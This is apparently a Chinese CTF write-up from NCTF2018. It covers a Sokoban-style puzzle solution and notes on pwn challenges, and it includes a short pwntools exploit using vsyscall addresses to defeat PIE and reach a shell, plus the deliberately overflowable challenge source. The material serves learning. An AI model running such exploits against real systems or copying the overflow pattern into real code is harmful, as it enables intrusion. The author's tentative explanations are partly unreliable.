NCTF2018

说是不再记录简单题的,无奈能做出来的全是简单题,没有好记录的23333,没做出来的之后看一波wp学习学习,然后再记录到这里吧。

someboxes那一题看了很久一直没有一个具体的感觉,后来发现就是推箱子游戏,输入w450控制方向把两个箱子推到目标点就行了,不过地图还是有一些小问题,要看wp才能得到解答。

babystack开了pie,看了网上的教程说可以只覆盖后四位,因为pie不会改变最后三位,所以多试几次肯定会成功,但是输入限制了必需要为8的倍数,与部分覆盖产生了冲突,不知道怎么解决。

smallbug3也开了pie,先输入接下来接受的输入的长度,要求不大于128,感觉可以输入一个负数的十六进制的表达的形式那种来形成栈溢出,好像也成功了,但是这题不知道怎么泄漏libc基址,后来也就没做。

someboxes

看了源码之后终于知道了地图哪里出了问题,原来地图中的每个数值都与下标异或了,再异或一次得到真正的地图。当时没看程序中有哪些地方对地图进行了操作(准确的说是看了但是没看见最底下有一个改写地图的orz。

地图:

1
2
3
4
5
6
7
8
9
10
11
12
[*  *  *  *  *  *  *  *  *  *  *  *  *  *  *  * 
* * 0 0 * * * * * * * * 0 0 * *
* * 0 0 0 x 0 * 0 0 0 0 0 0 * *
* * 0 * * 0 0 0 0 0 * * * 0 0 *
* * 0 * * 0 * * 0 0 * @ 0 0 0 *
* * 0 0 * 0 0 0 P 0 * * * * * *
* * 0 0 * * * * 0 * * * * * * *
* * 0 * * * * * X * * 0 0 0 * *
* 0 0 * @ * 0 * 0 0 0 0 * 0 * *
* 0 0 0 0 0 0 0 0 * * * * 0 * *
* 0 0 0 0 * * * 0 * 0 0 0 0 * *
* * * * * * * * * * * * * * * *]

玩家初始的位置用P表示,两个箱子用x表示,终点用@表示,不能推到*上,所以沿着0推就行了。

操作顺序:wwaawaaawasssssssasddsdwddddwwwwwsaaawwdddsdwawddddwdssdsaa

用W540替换:
WW44W444W45555555450050W0000WWWWW5444WW00050W4W0000W0550544

输入这个应该就可以得到flag了。

babystack

看了github上的脚本:

1
2
3
4
from pwn import *
p=process('./babystack')
p.sendline(p64(0xffffffffff600000)*5)
p.interactive()

orz其实完全不懂为啥,问了大佬然而大佬没看题目,后来偶然在群里看见有人说是vsyscall啥的,百度了一波,结果找到了之前就看过的一篇有关pie的教程

如果仔细看看的话,在第三部分就能发现对vsyscall的介绍啥的……

1
#define VSYSCALL_ADDR_vgettimeofday   0xffffffffff600000

脚本中0xffffffffff600000就是调用gettimeofday函数吧。

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void vul()
{
char a[10];
int n = readn(a,256);
if(n%8 != 0) exit(0);
return ;
}

void func()
{
vul();
exit(0);
}
int main()
{
func();
system("/bin/sh");
}

栈溢出一直覆盖到exit的返回地址之前,然后执行完vsyscall之后就会往下执行system("/bin/sh")了吧。

文章目录
  1. 1. someboxes
  2. 2. babystack
|